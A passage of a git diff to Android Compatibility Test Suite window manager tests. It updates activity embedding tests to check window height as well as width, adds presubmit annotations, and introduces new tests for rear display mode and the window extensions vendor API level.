         // Set embedding rules with the parent window metrics only allowing side-by-side activities
-        // on a task width 5% wider than the current task width.
+        // on a task bounds 5% larger than the current task bounds.
         final SplitPlaceholderRule splitPlaceholderRule =
                 new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
                         PLACEHOLDER_ACTIVITY_ID)
-                        .setParentWindowMetrics(
-                                windowMetrics ->
-                                        windowMetrics.getBounds().width() >= taskWidth * 1.05)
+                        .setParentWindowMetrics(windowMetrics ->
+                                windowMetrics.getBounds().width() >= splitTaskWidth
+                                        && windowMetrics.getBounds().height() >= splitTaskHeight)
                         .build();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
 
@@ -228,10 +231,10 @@
         verifyFillsTask(primaryActivity);
         waitAndAssertNotResumed(PLACEHOLDER_ACTIVITY_ID);
 
-        // Increase display width by 10% so that the primary and placeholder activities are stacked
+        // Increase display size by 10% so that the primary and placeholder activities are stacked
         final Size currentSize = mReportedDisplayMetrics.getSize();
         mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 1.1),
-                currentSize.getHeight()));
+                (int) (currentSize.getHeight() * 1.1)));
 
         // Verify that the placeholder activity is launched into a split with the primary activity
         waitAndAssertResumed(PLACEHOLDER_ACTIVITY_ID);
@@ -247,14 +250,16 @@
     @Test
     public void testStickyPlaceholder() {
         final int taskWidth = getTaskWidth();
+        final int taskHeight = getTaskHeight();
 
         // Set embedding rules with isSticky set to true and the parent window metrics only allowing
         // side-by-side activities on a task width at least the current width.
         final SplitPlaceholderRule splitPlaceholderRule =
                 new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
                         PLACEHOLDER_ACTIVITY_ID).setIsSticky(true)
-                        .setParentWindowMetrics(
-                                windowMetrics -> windowMetrics.getBounds().width() >= taskWidth)
+                        .setParentWindowMetrics(windowMetrics ->
+                                windowMetrics.getBounds().width() >= taskWidth
+                                        && windowMetrics.getBounds().height() >= taskHeight)
                         .build();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
 
@@ -267,7 +272,7 @@
         placeholderActivity.resetBoundsChangeCounter();
         final Size currentSize = mReportedDisplayMetrics.getSize();
         mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 0.9),
-                currentSize.getHeight()));
+                (int) (currentSize.getHeight() * 0.9)));
 
         // Verify that the placeholder was not finished and fills the task
         assertTrue(placeholderActivity.waitForBoundsChange());
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
index a929e86..8bdc309 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
@@ -37,6 +37,7 @@
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
 import android.server.wm.ActivityManagerTestBase;
 import android.server.wm.Condition;
 import android.server.wm.NestedShellPermission;
@@ -66,6 +67,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingPolicyTests
  */
+@Presubmit
 @RunWith(AndroidJUnit4.class)
 public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
     protected ActivityEmbeddingComponent mActivityEmbeddingComponent;
@@ -74,8 +76,6 @@
     @Before
     public void setUp() throws Exception {
         super.setUp();
-        // TODO(b/207070762): remove the assumption after shell transition enabled.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         assumeExtensionSupportedDevice();
         WindowExtensions windowExtensions = getWindowExtensions();
         assumeNotNull(windowExtensions);
@@ -96,6 +96,11 @@
      */
     @Test
     public void testInputDuringAnimationIsNotAllowed_untrustedEmbedding() {
+        // TODO(b/207070762): remove the test when cleanup legacy app transition
+        // We don't need to disable input with Shell transition, because we won't pass the surface
+        // to app.
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+
         Activity primaryActivity = startActivityNewTask(mContext, mInstrumentation,
                 TestConfigChangeHandlingActivity.class, null /* activityId */);
 
@@ -139,6 +144,11 @@
      */
     @Test
     public void testInputDuringAnimationIsNotAllowed_trustedEmbedding() {
+        // TODO(b/207070762): remove the test when cleanup legacy app transition
+        // We don't need to disable input with Shell transition, because we won't pass the surface
+        // to app.
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+
         // Extend the animation scale, so that the test has enough time to catch the state during
         // transition.
         UiAutomation automation = mInstrumentation.getUiAutomation();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
index 009b404..3b97f6f 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
@@ -19,11 +19,10 @@
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
 
-import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeNotNull;
 
-import android.os.SystemProperties;
 import android.server.wm.ActivityManagerTestBase.ReportedDisplayMetrics;
+import android.server.wm.UiDeviceUtils;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
 import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 import android.view.Display;
@@ -47,15 +46,11 @@
     protected TestValueCountConsumer<List<SplitInfo>> mSplitInfoConsumer;
     protected ReportedDisplayMetrics mReportedDisplayMetrics =
             ReportedDisplayMetrics.getDisplayMetrics(Display.DEFAULT_DISPLAY);
-    private static final boolean ENABLE_SHELL_TRANSITIONS =
-            SystemProperties.getBoolean("persist.wm.debug.shell_transit", false);
 
     @Override
     @Before
     public void setUp() {
         super.setUp();
-        // TODO(b/207070762): remove the assumption after shell transition enabled.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         assumeExtensionSupportedDevice();
         WindowExtensions windowExtensions = getWindowExtensions();
         assumeNotNull(windowExtensions);
@@ -63,6 +58,9 @@
         assumeNotNull(mActivityEmbeddingComponent);
         mSplitInfoConsumer = new TestValueCountConsumer<>();
         mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
+
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
     }
 
     @After
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
new file mode 100644
index 0000000..1e3a85f
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.PollingCheck.waitFor;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.res.Resources;
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+import android.os.PowerManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.DeviceStateUtils;
+import android.server.wm.jetpack.utils.TestRearDisplayActivity;
+import android.server.wm.jetpack.utils.WindowExtensionTestRule;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+import androidx.window.extensions.area.WindowAreaComponent;
+import androidx.window.extensions.area.WindowAreaComponent.WindowAreaSessionState;
+import androidx.window.extensions.area.WindowAreaComponent.WindowAreaStatus;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Objects;
+import java.util.Set;
+import java.util.function.Consumer;
+
+/**
+ * Tests for the {@link androidx.window.extensions.area.WindowAreaComponent} implementation
+ * of the rear display functionality provided on the device (and only if one is available).
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:ExtensionRearDisplayTest
+ */
+@LargeTest
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class ExtensionRearDisplayTest extends WindowManagerJetpackTestBase implements
+        DeviceStateManager.DeviceStateCallback {
+
+    private static final int TIMEOUT = 2000;
+    private static final int INVALID_DEVICE_STATE = -1;
+
+    private TestRearDisplayActivity mActivity;
+    private WindowAreaComponent mWindowAreaComponent;
+    private int mCurrentDeviceState;
+    private int mCurrentDeviceBaseState;
+    private int[] mSupportedDeviceStates;
+    @WindowAreaStatus
+    private Integer mWindowAreaStatus;
+    @WindowAreaSessionState
+    private Integer mWindowAreaSessionState;
+    private int mRearDisplayState;
+
+    private final Context mInstrumentationContext = getInstrumentation().getTargetContext();
+    private final KeyguardManager mKeyguardManager = mInstrumentationContext.getSystemService(
+            KeyguardManager.class);
+    private final DeviceStateManager mDeviceStateManager = mInstrumentationContext
+            .getSystemService(DeviceStateManager.class);
+
+    private final Consumer<Integer> mStatusListener = (status) -> mWindowAreaStatus = status;
+
+    private final Consumer<Integer> mSessionStateListener = (sessionState) -> {
+        mWindowAreaSessionState = sessionState;
+    };
+
+    @Rule
+    public final WindowExtensionTestRule mWindowManagerJetpackTestRule =
+            new WindowExtensionTestRule(WindowAreaComponent.class);
+
+    @Before
+    @Override
+    public void setUp() {
+        super.setUp();
+        mWindowAreaComponent =
+                (WindowAreaComponent) mWindowManagerJetpackTestRule.getExtensionComponent();
+        mSupportedDeviceStates = mDeviceStateManager.getSupportedStates();
+        assumeTrue(mSupportedDeviceStates.length > 1);
+        // TODO(b/236022708) Move rear display state to device state config file
+        mRearDisplayState = getInstrumentation().getTargetContext().getResources()
+                .getInteger(Resources.getSystem()
+                        .getIdentifier("config_deviceStateRearDisplay", "integer", "android"));
+        assumeTrue(mRearDisplayState != INVALID_DEVICE_STATE);
+        mDeviceStateManager.registerCallback(Runnable::run, this);
+        mWindowAreaComponent.addRearDisplayStatusListener(mStatusListener);
+        unlockDeviceIfNeeded();
+        mActivity = (TestRearDisplayActivity) startActivityNewTask(TestRearDisplayActivity.class);
+        waitAndAssert(() -> mWindowAreaStatus != null);
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+        if (mWindowAreaComponent != null) {
+            mWindowAreaComponent.removeRearDisplayStatusListener(mStatusListener);
+            try {
+                DeviceStateUtils.runWithControlDeviceStatePermission(
+                        () -> mDeviceStateManager.cancelStateRequest());
+            } catch (Throwable t) {
+                throw new RuntimeException(t);
+            }
+        }
+    }
+
+    /**
+     * Tests that the RearDisplay status listeners receive the correct {@link WindowAreaStatus}
+     * values.
+     *
+     * The test goes through all supported device states and verifies that the correct status is
+     * returned. If the state does not place the device in the active RearDisplay configuration
+     * (i.e. the base state of the device is different than the current state, and that current
+     * state is the RearDisplay state), then it should receive the
+     * {@link WindowAreaStatus#STATUS_AVAILABLE} value, otherwise it should receive the
+     * {@link WindowAreaStatus#STATUS_UNAVAILABLE} value.
+     */
+    @ApiTest(apis = {
+            "androidx.window.extensions.area.WindowAreaComponent#addRearDisplayStatusListener",
+            "androidx.window.extensions.area.WindowAreaComponent#removeRearDisplayStatusListener"})
+    @Test
+    public void testRearDisplayStatusListeners() throws Throwable {
+        Set<Integer> requestedStates = new HashSet<>();
+        while (requestedStates.size() != mSupportedDeviceStates.length) {
+            int newState = determineNewState(mCurrentDeviceState, mSupportedDeviceStates,
+                    requestedStates);
+            if (newState != INVALID_DEVICE_STATE) {
+                requestedStates.add(newState);
+                DeviceStateRequest request = DeviceStateRequest.newBuilder(newState).build();
+                DeviceStateUtils.runWithControlDeviceStatePermission(() ->
+                            mDeviceStateManager.requestState(request, null, null));
+
+                waitAndAssert(() -> mCurrentDeviceState == newState);
+                // If the state does not put the device into the rear display configuration,
+                // then the listener should receive the STATUS_AVAILABLE value.
+                if (!isRearDisplayActive(mCurrentDeviceState, mCurrentDeviceBaseState)) {
+                    waitAndAssert(
+                            () -> mWindowAreaStatus == WindowAreaComponent.STATUS_AVAILABLE);
+                } else {
+                    waitAndAssert(
+                            () -> mWindowAreaStatus == WindowAreaComponent.STATUS_UNAVAILABLE);
+                }
+            }
+        }
+    }
+
+    /**
+     * Tests that you can start and end rear display mode. Verifies that the {@link Consumer} that
+     * is provided when calling {@link WindowAreaComponent#startRearDisplaySession} receives
+     * the {@link WindowAreaSessionState#SESSION_STATE_ACTIVE} value when starting the session
+     * and {@link WindowAreaSessionState#SESSION_STATE_INACTIVE} when ending the session.
+     *
+     * This test also verifies that the {@link android.app.Activity} is still visible when rear
+     * display mode is started, and that the activity received a configuration change when enabling
+     * and disabling rear display mode. This is verifiable due to the current generation of
+     * hardware and the fact that there are different screen sizes from the different displays.
+     */
+    @ApiTest(apis = {
+            "androidx.window.extensions.area.WindowAreaComponent#startRearDisplaySession",
+            "androidx.window.extensions.area.WindowAreaComponent#endRearDisplaySession"})
+    @Test
+    public void testStartAndEndRearDisplaySession() {
+        assumeTrue(mWindowAreaStatus == WindowAreaComponent.STATUS_AVAILABLE);
+        assumeTrue(mCurrentDeviceState != mRearDisplayState);
+
+        mActivity.mConfigurationChanged = false;
+        mWindowAreaComponent.startRearDisplaySession(mActivity, mSessionStateListener);
+        waitAndAssert(() -> mActivity.mConfigurationChanged);
+        assertTrue(mWindowAreaSessionState != null
+                        && mWindowAreaSessionState == WindowAreaComponent.SESSION_STATE_ACTIVE);
+        assertEquals(mCurrentDeviceState, mRearDisplayState);
+        assertTrue(isActivityVisible(mActivity));
+
+        mActivity.mConfigurationChanged = false;
+        mWindowAreaComponent.endRearDisplaySession();
+        waitAndAssert(() -> mActivity.mConfigurationChanged);
+        assertEquals(WindowAreaComponent.SESSION_STATE_INACTIVE, (int) mWindowAreaSessionState);
+        assertTrue(isActivityVisible(mActivity));
+        // Cancelling rear display mode should cancel the override, so verifying that the
+        // device state is the same as the physical state of the device.
+        assertEquals(mCurrentDeviceState, mCurrentDeviceBaseState);
+        assertEquals(WindowAreaComponent.STATUS_AVAILABLE, (int) mWindowAreaStatus);
+
+    }
+
+    @Override
+    public void onBaseStateChanged(int state) {
+        mCurrentDeviceBaseState = state;
+    }
+
+    @Override
+    public void onStateChanged(int state) {
+        mCurrentDeviceState = state;
+    }
+
+    /**
+     * Returns the next state that we should request that isn't the current state and
+     * has not already been requested.
+     */
+    private int determineNewState(int currentDeviceState, int[] statesToRequest,
+            Set<Integer> requestedStates) {
+        for (int state : statesToRequest) {
+            if (state != currentDeviceState && !requestedStates.contains(state)) {
+                return state;
+            }
+        }
+        return INVALID_DEVICE_STATE;
+    }
+
+    /**
+     * Helper method to determine if a rear display session is currently active by checking
+     * if the current device configuration matches that of rear display. This would be true
+     * if there is a device override currently active (base state != current state) and the current
+     * state is that which corresponds to {@code mRearDisplayState}
+     * @return {@code true} if the device is in rear display mode and {@code false} if not
+     */
+    private boolean isRearDisplayActive(int currentDeviceState, int currentDeviceBaseState) {
+        return (currentDeviceState != currentDeviceBaseState)
+                && (currentDeviceState == mRearDisplayState);
+    }
+
+    private void unlockDeviceIfNeeded() {
+        if (isKeyguardLocked() || !Objects.requireNonNull(
+                mInstrumentationContext.getSystemService(PowerManager.class)).isInteractive()) {
+            pressWakeupButton();
+            pressUnlockButton();
+        }
+    }
+
+    private boolean isKeyguardLocked() {
+        return mKeyguardManager != null && mKeyguardManager.isKeyguardLocked();
+    }
+
+    private void waitAndAssert(PollingCheck.PollingCheckCondition condition) {
+        waitFor(TIMEOUT, condition);
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
index 7162a44..cca5f16 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -19,9 +19,7 @@
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assertEqualWindowLayoutInfo;
-import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
-import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
 import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
 import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
@@ -36,13 +34,13 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNotNull;
 
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.jetpack.utils.TestActivity;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
+import android.server.wm.jetpack.utils.WindowExtensionTestRule;
 import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -58,6 +56,7 @@
 import com.google.common.collect.Range;
 
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -74,6 +73,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerJetpackTestCases:ExtensionWindowLayoutComponentTest
  */
+@Presubmit
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class ExtensionWindowLayoutComponentTest extends WindowManagerJetpackTestBase {
@@ -82,14 +82,17 @@
     private WindowLayoutComponent mWindowLayoutComponent;
     private WindowLayoutInfo mWindowLayoutInfo;
 
+    @Rule
+    public final WindowExtensionTestRule mWindowExtensionTestRule =
+            new WindowExtensionTestRule(WindowLayoutComponent.class);
+
     @Before
     @Override
     public void setUp() {
         super.setUp();
-        assumeExtensionSupportedDevice();
+        mWindowLayoutComponent =
+                (WindowLayoutComponent) mWindowExtensionTestRule.getExtensionComponent();
         mActivity = (TestActivity) startActivityNewTask(TestActivity.class);
-        mWindowLayoutComponent = getExtensionWindowLayoutComponent();
-        assumeNotNull(mWindowLayoutComponent);
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
index f0b5a7c..ddd63a7 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
@@ -18,45 +18,28 @@
 
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
-import static android.server.wm.jetpack.utils.SidecarUtil.MINIMUM_SIDECAR_VERSION;
 import static android.server.wm.jetpack.utils.SidecarUtil.assertEqualWindowLayoutInfo;
 import static android.server.wm.jetpack.utils.SidecarUtil.assumeHasDisplayFeatures;
 import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
 import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
-import static android.server.wm.jetpack.utils.SidecarUtil.isSidecarVersionValid;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertNotBothDimensionsZero;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertHasNonNegativeDimensions;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.doesDisplayRotateForOrientation;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityDoesNotHandleOrientationChanges;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityHandlesOrientationChanges;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeFalse;
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
 
-import android.content.pm.ActivityInfo;
 import android.graphics.Rect;
 import android.os.IBinder;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 import android.server.wm.jetpack.utils.SidecarCallbackCounter;
 import android.server.wm.jetpack.utils.TestActivity;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 import android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.FlakyTest;
 import androidx.test.filters.LargeTest;
-
 import androidx.window.sidecar.SidecarDeviceState;
 import androidx.window.sidecar.SidecarDisplayFeature;
 import androidx.window.sidecar.SidecarInterface;
@@ -69,8 +52,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.List;
-
 /**
  * Tests for the {@link androidx.window.sidecar} implementation provided on the device (and only
  * if one is available).
@@ -78,6 +59,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerJetpackTestCases:SidecarTest
  */
+@Presubmit
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class SidecarTest extends WindowManagerJetpackTestBase {
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
new file mode 100644
index 0000000..fce9ac2
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.MINIMUM_STABLE_EXTENSION_VERSION;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionVersion;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for the {@link androidx.window.extensions.WindowExtensionsImpl} implementation.
+ * Verifies that the extensions API level is aligned or higher than the current level.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:WindowExtensionsImplTest
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class WindowExtensionsImplTest {
+
+    @ApiTest(apis = {"androidx.window.extensions.WindowExtensions#getVendorApiLevel"})
+    @Test
+    public void testVerifiesExtensionVendorApiLevel() {
+        assumeExtensionSupportedDevice();
+        assertTrue(getExtensionVersion().compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0);
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
index a3e682b..320fed1 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -16,9 +16,6 @@
 
 package android.server.wm.jetpack.utils;
 
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -33,13 +30,12 @@
 import androidx.annotation.Nullable;
 import androidx.window.extensions.WindowExtensions;
 import androidx.window.extensions.WindowExtensionsProvider;
+import androidx.window.extensions.area.WindowAreaComponent;
 import androidx.window.extensions.layout.DisplayFeature;
 import androidx.window.extensions.layout.FoldingFeature;
 import androidx.window.extensions.layout.WindowLayoutComponent;
 import androidx.window.extensions.layout.WindowLayoutInfo;
 
-import java.util.ArrayList;
-import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.ExecutionException;
 import java.util.concurrent.TimeoutException;
@@ -54,7 +50,7 @@
 
     private static final String EXTENSION_TAG = "Extension";
 
-    public static final Version MINIMUM_EXTENSION_VERSION = new Version(1, 0, 0, "");
+    public static final Version MINIMUM_STABLE_EXTENSION_VERSION = new Version(1, 0, 0, "");
 
     @NonNull
     public static Version getExtensionVersion() {
@@ -75,7 +71,7 @@
     public static boolean isExtensionVersionValid() {
         final Version version = getExtensionVersion();
         // Check that the extension version on the device is at least the minimum valid version.
-        return version.compareTo(MINIMUM_EXTENSION_VERSION) >= 0;
+        return version.compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0;
     }
 
     @Nullable
@@ -95,7 +91,7 @@
         assumeTrue("Device does not support extensions", extensionNotNull);
         // If extensions are on the device, make sure that the version is valid.
         assertTrue("Extension version is invalid, must be at least "
-                + MINIMUM_EXTENSION_VERSION.toString(), isExtensionVersionValid());
+                + MINIMUM_STABLE_EXTENSION_VERSION.toString(), isExtensionVersionValid());
     }
 
     @Nullable
@@ -265,4 +261,17 @@
                 .filter(d -> otherOrientationBounds.contains(d.getBounds()))
                 .collect(Collectors.toList());
     }
+
+    /**
+     * Returns the {@link WindowAreaComponent} available in {@link WindowExtensions} if available.
+     * If the component is not available, returns null.
+     */
+    @Nullable
+    public static WindowAreaComponent getExtensionWindowAreaComponent() {
+        WindowExtensions extension = getWindowExtensions();
+        if (extension == null || extension.getVendorApiLevel() < 2) {
+            return null;
+        }
+        return extension.getWindowAreaComponent();
+    }
 }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java
new file mode 100644
index 0000000..5e19aec6
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+
+import androidx.annotation.NonNull;
+
+public class TestRearDisplayActivity extends Activity {
+
+    public boolean mConfigurationChanged;
+
+    @Override
+    public void onConfigurationChanged(@NonNull Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        mConfigurationChanged = true;
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
index f8be26c..b6e2919 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
